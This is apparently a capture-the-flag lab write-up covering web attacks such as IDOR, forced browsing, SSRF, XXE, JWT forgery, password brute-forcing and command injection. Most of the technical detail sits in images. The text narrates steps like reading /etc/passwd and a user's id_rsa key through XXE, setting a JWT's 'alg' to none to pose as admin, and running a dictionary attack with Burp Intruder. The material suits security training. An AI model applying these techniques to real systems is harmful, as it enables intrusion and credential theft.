![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MeljdptYkGkjMCLB5Pq%2Fimage.png?alt=media\&token=7ee1060a-aabe-4787-aae1-2d0b6176c080)

### Exploitation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MeljmqdKBGwXBiW2Psd%2Fimage.png?alt=media\&token=1291a16f-ddc3-4117-afc7-5f4d2dccad7c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MeljsOluS3N6PlLDCLo%2Fimage.png?alt=media\&token=410a012c-0b46-439f-b214-8e310dfcc1e9)

### Challenge

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MelkI83SbSMgiEEFXcB%2Fimage.png?alt=media\&token=88d4db9b-01e6-4ba1-b06d-54cbd2625fb8)

Lets check the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MelkCQpM201kU2QvTRO%2Fimage.png?alt=media\&token=7a34737c-9c9e-4ddf-b5a6-3332e20002b4)

Lets login with the given credentials

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MelkNttsVbeBTrEPqRW%2Fimage.png?alt=media\&token=2961053d-5633-4c12-9735-4bdf7ce74518)

Lets change the note parameter value to 0

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MelkUP9vlBUd4PwZ0n4%2Fimage.png?alt=media\&token=243725f1-850a-41ab-97a4-258da806d7d5)

## Section 2: Forced Browsing

### Introduction

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MelkknsaJGNVd0XuuC-%2Fimage.png?alt=media\&token=13c5ea6c-3d83-4a43-a926-785b0a4861da)

### Manual Exploitation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MelkwZE-k6xkTlz1ROv%2Fimage.png?alt=media\&token=38bf9769-fca1-442c-a6eb-7b7af1090397)

### Automatic Exploitation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MellBtIDiR_t6hobZBH%2Fimage.png?alt=media\&token=afe6b50f-57a8-4a46-ac06-787cb0fd860c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MellER8kwAb7QfodVvw%2Fimage.png?alt=media\&token=b003dd72-ee81-4218-b8a5-029f1186ae5a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-Mell_Uk1ao2VZE_MEBo%2Fimage.png?alt=media\&token=e5436c05-83ee-408d-80d2-22f2c70fa58b)

### Challenge

Lets go to the web page

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MellkIOcNKGqz30w6jD%2Fimage.png?alt=media\&token=1fa63f94-4f0c-4420-bc27-167400223ddd)

Lets login with the given credentials

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MelmI_3fomXUe80Kga7%2Fimage.png?alt=media\&token=0303d0a2-bf62-48c8-b569-d94ec73479e0)

Lets fuzz the name place so that we can find the right username&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Melp8E4t9rI4_IAukRf%2F-MelqAW_tmnTsv-I7XwO%2Fimage.png?alt=media\&token=dba02225-8a53-422b-8260-6e3803d719c9)

After some time we get a hit which is password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Melp8E4t9rI4_IAukRf%2F-MelqGWe8phAt7F55FoX%2Fimage.png?alt=media\&token=c718eaf1-a314-40f9-bc4f-c377d6b24fe5)

## Section 3: API Bypassing

### Introduction

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MeloVwgk1MKQ_TmMVDk%2Fimage.png?alt=media\&token=596d350b-3346-4743-89ad-d4f86d86bd78)

### Exploitation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MelofXlx61RhyWyz4E4%2Fimage.png?alt=media\&token=383072ae-59ed-4887-bf1a-4822c7a5d515)

### Challenge

Lets check the web page

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Melp8E4t9rI4_IAukRf%2F-MelqWXF36hD702wXb0c%2Fimage.png?alt=media\&token=213edcfd-69d9-4def-8048-6dc1246a6a62)

Lets login

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Melp8E4t9rI4_IAukRf%2F-MelqmBoOmBlS6op-0wP%2Fimage.png?alt=media\&token=9d27554f-453c-46f5-aa8d-c3fb71404143)

We have an admin.php page and we can run commands, lets test a command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Melp8E4t9rI4_IAukRf%2F-MelqwZUqWk7GrVcK_Gf%2Fimage.png?alt=media\&token=3ab961bf-3111-4f74-86a9-4fad0dcccfd4)

Looks like we are taken to a api.php page. admin.php might be a file on the machine, so we are directly accessing the directories of the machine in the URL, lets look for the flag which might be in a while called flag.txt (Most capture of the flag machines)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Melp8E4t9rI4_IAukRf%2F-MelrFl-7lo-rUGMCk1K%2Fimage.png?alt=media\&token=684e4d2b-48de-4040-b77e-5a3c8a81462b)


# SSRF

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekanpWkz3I31r_kpWq%2Fimage.png?alt=media\&token=fefc4c87-0829-4559-8506-678d0b351001)

## What is SSRF?

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-Mekb6tO7-dVK3Gcx_Cb%2Fimage.png?alt=media\&token=bed8bc6e-041d-4d29-a74a-3a1f8ce750d2)

## Cause of the Vulnerability

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekbZr6OQIdmdMGEi2b%2Fimage.png?alt=media\&token=819010e6-63a9-464c-a622-8a3020425a44)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekboLZyctlpagd66KX%2Fimage.png?alt=media\&token=c16c7afa-33bd-4fc0-b091-2185fb14089d)

## SSRF Payload

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-Mekc18iLpxi0HKFNuIl%2Fimage.png?alt=media\&token=606f6459-325f-474b-9f0e-81ef71e32441)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekcGQJbgIVkt-TEM0P%2Fimage.png?alt=media\&token=be68d28b-cee5-4222-ab4d-d045a96eb60e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekcOtRpaAm0KEHaebY%2Fimage.png?alt=media\&token=21eac4ab-aa93-42af-921a-e4570adba3c2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekcXv_zO26vinmkwD-%2Fimage.png?alt=media\&token=1ffc3f0f-eb2a-4c96-988f-ea8742c22d82)

## Exercise

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekciO-JKrXxVviZuSA%2Fimage.png?alt=media\&token=d2c4a848-a9b7-4fbc-ba4a-c9108eb3cb03)

Lets check the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekcvDeZ2T0F8nxSkjn%2Fimage.png?alt=media\&token=95cb4d07-9867-404b-92c0-7286ec737bab)

After doing a number of check, we can write a simple bash script that will give us the answer.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekdncdYt2JjDJjZ5fm%2Fimage.png?alt=media\&token=9f5c9a51-c5af-4c78-bace-81046da44736)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekipSW2ouhIucj5mF4%2Fimage.png?alt=media\&token=0c7f18f6-fd86-4109-9b64-cdede5e2e060)

After a while, it shows that 5 ports are open

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-Mekiw42dqUDjhnSn7lc%2Fimage.png?alt=media\&token=b2b59f9a-9a01-41e8-8e91-788b8b221492)

We can find out how many users there are by looking at the /etc/passwd file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekjFyrHkq6hFOWdwpA%2Fimage.png?alt=media\&token=f690e15d-3e7c-423e-a257-82dc9e64317b)

Lets go to the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekjSymzGGeLeDDv5Oc%2Fimage.png?alt=media\&token=c32e4858-e2de-4449-8040-a4f07ac10591)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MekaiYM7UmfcIX1dPn1%2F-MekjXTkvkryXl8WgND9%2Fimage.png?alt=media\&token=88c5bb2f-80ec-4333-9d0a-1a072ec59c02)


# XXE

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefV9CbqWw4n0HZ3fSy%2F-Mefjri-31Og8D59K83I%2Fimage.png?alt=media\&token=a7e961f3-9b93-4986-a72f-5cadb42dc5fa)

## Introduction

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefV9CbqWw4n0HZ3fSy%2F-MefkluXdDr3LVXKjwMz%2Fimage.png?alt=media\&token=7c468909-fe56-4d07-8f8e-99fc32210f9a)

## eXtensible Markup Language

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefV9CbqWw4n0HZ3fSy%2F-Mefl8IDRx3AlzYO8i2B%2Fimage.png?alt=media\&token=a60fc7f1-c7e6-4663-8a1a-95f8e4c75325)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefV9CbqWw4n0HZ3fSy%2F-MeflLe6VpAu4mlqwDC6%2Fimage.png?alt=media\&token=2a423c28-67b4-4829-bc2a-6557af95ffac)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefV9CbqWw4n0HZ3fSy%2F-MefldT__P2iqlbscG1b%2Fimage.png?alt=media\&token=eeb2eae2-8793-4cfe-90f5-00d79138af09)

## DTD

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefV9CbqWw4n0HZ3fSy%2F-MeflzTLUgZn4oLirVwA%2Fimage.png?alt=media\&token=b7d7022b-ad8b-46ac-9e69-62fae3a85589)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefV9CbqWw4n0HZ3fSy%2F-MefmASoUTIXKf1xF0Rl%2Fimage.png?alt=media\&token=4eeb4f6c-6c5f-44af-be3c-c6f5199550cb)

## XXE Payload

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefV9CbqWw4n0HZ3fSy%2F-MefmMGafdFnF-2G4wRX%2Fimage.png?alt=media\&token=d8744901-ecf0-46fb-9c94-a02890e62d4f)

## Exploiting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefmNhwOlMysuAeYjrz%2F-Mefn7oeviRwmz1Mu9zL%2Fimage.png?alt=media\&token=35a497b9-dc24-4b87-813d-42e39c2e9709)

Lets start burp and visit the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefmNhwOlMysuAeYjrz%2F-MefnUuBCXfXwWI9tJWm%2Fimage.png?alt=media\&token=6d2691e4-1149-4143-bb59-728e22f91558)

Now lets try to display our name on the page

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefmNhwOlMysuAeYjrz%2F-MefnkcAjfEWu_TDG2xD%2Fimage.png?alt=media\&token=f4cfe75d-60ec-4dc3-88b9-5bb073ea6fdf)

The payload works, now lets try reading the /etc/passwd file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefmNhwOlMysuAeYjrz%2F-Mefnth0ctvhvNWga_cZ%2Fimage.png?alt=media\&token=1fac9cb2-3763-49cd-9128-26b8a4d345e5)

We can read it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefmNhwOlMysuAeYjrz%2F-Mefo-cbgW7Tto7usfUb%2Fimage.png?alt=media\&token=68d06ae5-b287-4a12-8271-caba37a986b2)

Now lets try to read the user falcon's id\_rsa file, which is also his private key

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefmNhwOlMysuAeYjrz%2F-MefoBtlJ5FVnNSLHbTe%2Fimage.png?alt=media\&token=52a34bb3-05cb-43fc-8f07-f345beef4bfd)

We can look at it better in the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefmNhwOlMysuAeYjrz%2F-MefoHZRQ8-_FUbxukRI%2Fimage.png?alt=media\&token=fb8a5b5b-ed52-4937-ae34-a8c502473b4c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefmNhwOlMysuAeYjrz%2F-MefoTAoqBgV178hGUOE%2Fimage.png?alt=media\&token=328500ff-0e82-4673-aafd-601a781b2e56)


# Authenticate

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaOvNxtc4q70pyTtRf%2F-MeaQ87-OZGaBD1AU5Y9%2Fimage.png?alt=media\&token=e04dcc06-ae8e-419d-ba96-420d9511fd12)

## Dictionary Attack

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaaMZH51t8O30WU3tP%2F-MebWZKmeKNxbOGMTb16%2Fimage.png?alt=media\&token=526f1bb7-f4b2-4cec-b410-67fcbf4666d9)

Lets first visit the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebXMyR2Vm_lE7RiE2u%2Fimage.png?alt=media\&token=08da27e7-fed6-49de-8987-66e8fa671fd0)

Now lets capture the request in burp with random credentials

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebXcx1Ywm4-YQp84Vm%2Fimage.png?alt=media\&token=85d6b2d3-fdad-463a-a4b1-32f1ccb2e171)

Lets send this to Intruder and go to positions and change some options

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebXuGRTdSbJPIrO1WY%2Fimage.png?alt=media\&token=da4f6546-00b3-4f74-8859-cc3dba369bec)

Now lets go to payloads and load a password list, and click start attack

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebYTRYdPchAMFs0MPY%2Fimage.png?alt=media\&token=b00d68c8-8760-436c-b20e-c271a29c5645)

We have the password, lets login as Jack and get the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebYgBS9dP1UxxmcYkL%2Fimage.png?alt=media\&token=970d74f9-a2e4-4eb4-82d8-206261eb7c38)

Now lets do the same , but for the user Mike.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebZ2mQRFyrEiOLykQm%2Fimage.png?alt=media\&token=7f0addb4-0c14-45b9-9b1d-949a8f9c7ae5)

We have the password, lets login and get the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebZB5c3g3KgjI6aT7I%2Fimage.png?alt=media\&token=5c1f1c1f-ca10-40a0-a59f-d7ca17fb86a0)

## Re-registration

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebZOo_tnwtujoEfQi4%2Fimage.png?alt=media\&token=398688f3-7271-43fd-876c-4ee9bb3751c3)

Lets register as Darren, but with a space in front of the name

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebZmPLScL8rFuNlvNI%2Fimage.png?alt=media\&token=ada9fc90-51cc-4545-9ce6-3a638c5d8f70)

Now lets login as Darren with a space

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-Meb_Yw5Sib1FgXBA3GR%2Fimage.png?alt=media\&token=234acd94-c4d3-458a-b5ab-fbd1801c8ee2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-Meb_d0zM-Lo7t8N9uXQ%2Fimage.png?alt=media\&token=ceeaed11-2e9c-41a6-808c-b411b1471838)

Now lets do the same with the username Arthur

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-Meb_y86lnhmuo10dT30%2Fimage.png?alt=media\&token=b2dc377d-a1f9-482a-a11e-b87778602971)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-Meba1wWRHkFvfBQ3SjF%2Fimage.png?alt=media\&token=f31ed775-91d5-491f-9250-02d6cb85aff7)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-Meba9AalPzpa1KnW0wE%2Fimage.png?alt=media\&token=f7275eea-9f5e-409b-8b4d-7d90f5c5e156)

## JSON Web Token

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-Mebb9DhAMo8ZkZKXOUY%2Fimage.png?alt=media\&token=e6b9b295-2d4f-48fa-96bd-6c63422cd3a6)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebbIAiM-qvIWZG_d1_%2Fimage.png?alt=media\&token=7be2cb8b-1f38-4f5f-a4a6-4b57bbc6a830)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebbQrNkFUkj0r2Jl4-%2Fimage.png?alt=media\&token=757a105d-726c-4024-a9ba-23ab6142311d)

Lets follow the steps mentioned above and use admin as the identity

Lets first visit the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebbjWB-8-asdS5PRXe%2Fimage.png?alt=media\&token=d77e44e3-2bf3-4526-8843-f36ff5298bc9)

Lets type in a username and a password then capture it with burp, hit go after capturing the request and then click Forward, you should see this request (if you don't, click authenticate, forward the request and then click go)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebeNKT0_Ef_MBw1qkt%2Fimage.png?alt=media\&token=6636e67b-4fc8-4c19-88b2-0945fda7b1c5)

Now lets decode the first part of the token

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebecrSIAsA0gIo05s-%2Fimage.png?alt=media\&token=151384b3-8a61-41cb-abe1-1b0190304bc2)

Lets change "alg" to none and encode it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebencU0gSfvawaQEuz%2Fimage.png?alt=media\&token=8a433c74-4bc7-4ecd-a263-6c637cca4cd0)

Lets replace the old one with this one.

Now lets copy the second part of the token and decode it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-Mebf-e4nFgJMLCD629s%2Fimage.png?alt=media\&token=b643cb8e-a3e8-4e87-861f-39e0b51b6ddd)

Lets change the identity to 0 as admins usually have their id's as 0 and then encode and replace the original with it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebfDv8zgcRQpPiz088%2Fimage.png?alt=media\&token=ae71819a-b232-43e1-b649-1f88925a67f7)

Now if you send the request you should get the admin flag, if you don't you can copy the token from the room and replace it with the one in the request

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebgAvWzozpnKGYXFFJ%2Fimage.png?alt=media\&token=f6a216d4-bc18-4775-9f0b-b8ac734e95ee)

Once we forward the request, we get the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebgF1qhefgILrtrcgI%2Fimage.png?alt=media\&token=cbf700ba-2663-4edb-af40-8161f4787f93)

## No Authorization

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebgVtzUudqXACR4xp9%2Fimage.png?alt=media\&token=5ef42529-5676-44d0-b81d-f9cb5e1f9115)

Lets check the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-Mebgj27AjwVmuXDDdCH%2Fimage.png?alt=media\&token=6c5902da-08f4-4151-a777-f98eba839400)

Lets create a user called user with a random password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebgrfF6_HPmHvcSTJS%2Fimage.png?alt=media\&token=6c5b9f80-6884-4f27-b1cb-fec49dd97c8a)

Lets click Visit Private Space

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-Mebgy1YuhJgRO_Rn8NJ%2Fimage.png?alt=media\&token=99852960-c1bf-436f-a2e1-d2c05a3a7867)

Looks like we are user 1, lets change it to 0 and see what happens

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-Mebh6OTrwxN6UR3qOwc%2Fimage.png?alt=media\&token=fbc46258-1d5d-4970-93e1-c22390ea6d0d)

We have the flag and the password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MebX7OQhLt6STF2c0-e%2F-MebhGH8VWgy2V33daW8%2Fimage.png?alt=media\&token=89a0d904-b7db-4bca-bdd4-835cb190e648)


# Injection

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaE_26P8MCb44zUQxc%2Fimage.png?alt=media\&token=644f7ab0-87e8-4d4f-b9e4-b8449aa4fbb5)

## An introduction to Command Injection

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaEeHsyHSZ3qkOJHPt%2Fimage.png?alt=media\&token=aa3cc0d8-1d27-4e0a-a1c7-91bdcaf91a34)

## Blind Command Injection

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaF9SVjRYR6CEzjCM4%2Fimage.png?alt=media\&token=c9ceab5a-e396-40b9-a920-db955bc37266)

